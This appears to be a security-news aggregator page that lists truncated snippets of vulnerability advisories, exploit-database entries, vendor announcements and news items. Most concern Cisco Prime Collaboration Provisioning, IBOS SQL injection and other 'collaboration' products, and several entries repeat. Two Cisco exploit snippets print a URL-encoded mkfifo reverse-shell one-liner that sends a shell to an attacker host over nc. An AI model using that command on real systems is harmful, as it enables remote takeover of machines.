Cisco Prime Collaboration Provisioning ScriptMgr HEAD request vulnerability

Added: 10/25/2017 CVE: CVE-2017-6622 BID: 98520 Background The Cisco Prime Collaboration product family facilitates installation and maintenance of Cisco Unified Communications and Cisco TelePresence components, as well as the provisioning of users and services. Problem Missing security constrain...

Cisco Prime Collaboration Provisioning ScriptMgr HEAD request vulnerability

Added: 10/25/2017 CVE: CVE-2017-6622 BID: 98520 Background The Cisco Prime Collaboration product family facilitates installation and maintenance of Cisco Unified Communications and Cisco TelePresence components, as well as the provisioning of users and services. Problem Missing security constrain...

Adobe Acrobat and Reader Information Disclosure (APSB17-11: CVE-2017-3043)

An information disclosure vulnerability exists in Adobe Reader and Acrobat. The vulnerability is due to an error in Adobe Reader and Acrobat while collaboration functionality when opening any cloud file followed by invocation of share file function. Attackers can exploit the vulnerability by...

Mikogo 5.4.1.160608 - Local Credentials Disclosure Exploit

Exploit for windows platform in category local exploits !/usr/bin/env python Mikogo 5.4.1.160608 Local Credentials Disclosure Vendor: Snapview GmbH Product web page: https://www.mikogo.com Affected version: 5.4.1.160608 Summary: Mikogo is a desktop sharing software application for web conferencin...

Trend Micro is Proud to Sponsor G33kW33k!

It started as a small idea. Get a bunch of good people together, away from the pressures of their offices, and see if they could address some of the issues operational security teams have to deal with. Better monitoring tools; better analysis tools; new ways to generate threat indicators and feed...

The vulnerability of the web interface of the content management software in the Prime Collaboration Provisioning network allows a perpetrator to bypass authentication procedures and execute arbitrary commands.

The vulnerability of the web interface of the content management software in the Prime Collaboration Provisioning network is related to deficiencies in access control the absence of security restrictions. Exploiting this vulnerability could allow a malicious actor to bypass authentication...

Latin American ATM Thieves Turning to Hacking

MADRID—ATM jackpotting is hardly a novelty act in Latin America where criminals are more than ever connecting with hackers to figure out how to more efficiently steal money from an automated teller than, say, by using a stick of dynamite. No, it’s not uncommon to hear about thefts in Brazil,...

SQL Injection Vulnerability in IBOS Enterprise Collaboration Management Software HomeController.php Page

IBOS Enterprise Collaboration Management Software is a PHP-based collaborative office management system. A SQL injection vulnerability exists in the IBOS Enterprise Collaboration Management Software HomeController.php page. An attacker is allowed to exploit the vulnerability to obtain sensitive...

SQL Injection Vulnerability in IBOS Enterprise Collaboration Management Software OfficialdocController.php Page

IBOS Enterprise Collaboration Management Software is a PHP-based collaborative office management system. A SQL injection vulnerability exists in the IBOS Enterprise Collaboration Management Software OfficialdocController.php page. An attacker is allowed to exploit the vulnerability to obtain...

SQL Injection Vulnerability in IBOS Enterprise Collaboration Management Software CategoryController.php Page

IBOS Enterprise Collaboration Management Software is a PHP-based collaborative office management system. A SQL injection vulnerability exists in the CategoryController.php page of IBOS Enterprise Collaboration Management Software. An attacker is allowed to exploit the vulnerability to obtain...

Open Source Invalid Traffic Detection: Nameles

Nameles provides an easy to deploy, scalable IVT detection and filtering solution that is proven to detect at a high level of accuracy ad fraud and other types of invalid traffic such as web scraping. Comprehensive Detection Detects display, video and in-app based ad fraud, web scraping and other...

Cisco Prime Collaboration Provisioning Authentication Bypass / Code Execution

Exploit Title: Cisco Prime Collaboration Provisioning function encode echo "$1" | perl -MURI::Escape -ne 'chomp;print uriescape$,"\n"' TARGET=$1 ATTACKER=$2 PORT=$3 BASH=$encode "/bin/bash" COMMAND=$encode "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&1|nc $ATTACKER $PORT /tmp/f"...

Cisco Prime Collaboration Provisioning < 12.1 - Authentication Bypass / Remote Code Execution Exp

Exploit for hardware platform in category remote exploits Exploit Title: Cisco Prime Collaboration Provisioning function encode echo "$1" | perl -MURI::Escape -ne 'chomp;print uriescape$,"\n"' TARGET=$1 ATTACKER=$2 PORT=$3 BASH=$encode "/bin/bash" COMMAND=$encode "rm /tmp/f;mkfifo /tmp/f;cat...

IBOS企业协同管理软件最新开源版一处SQL注入

No description provided by source...

Extending the Microsoft Office Bounty Program

Microsoft announces the extension of the Microsoft Office Bounty Program through December 31, 2017. This extension is retroactive for any cases submitted during the interim. The engagement we have had with the security community has been great and we are looking to continue that collaboration on...

Extending the Microsoft Office Bounty Program

Microsoft announces the extension of the Microsoft Office Bounty Program through December 31, 2017. This extension is retroactive for any cases submitted during the interim. The engagement we have had with the security community has been great and we are looking to continue that collaboration on...

Extending the Microsoft Office Bounty Program

Microsoft announces the extension of the Microsoft Office Bounty Program through December 31, 2017. This extension is retroactive for any cases submitted during the interim. The engagement we have had with the security community has been great and we are looking to continue that collaboration on...

[SECURITY] Fedora 26 Update: tomcat-8.0.46-1.fc26

Tomcat is the servlet container that is used in the official Reference Implementation for the Java Servlet and JavaServer Pages technologies. The Java Servlet and JavaServer Pages specifications are developed by Sun under the Java Community Process. Tomcat is developed in an open and participator...

IBOS Enterprise Collaboration Management Software WeiboController.php page actionFollowing function has SQL injection vulnerability

IBOS Enterprise Collaboration Management Software is a PHP-based collaborative office management system. A SQL injection vulnerability exists in the WeiboController.php page of IBOS Enterprise Collaboration Management Software. An attacker is allowed to exploit the vulnerability to obtain sensiti...

Cisco Prime Collaboration Provisioning Tool Information Disclosure Vulnerability

Cisco Prime Collaboration Provisioning Tool is a set of Web-based, next-generation communications services tools from Cisco. The tool provides IP communication services capabilities for IP telephony, voice mail and unified communications environments. An information disclosure vulnerability exist...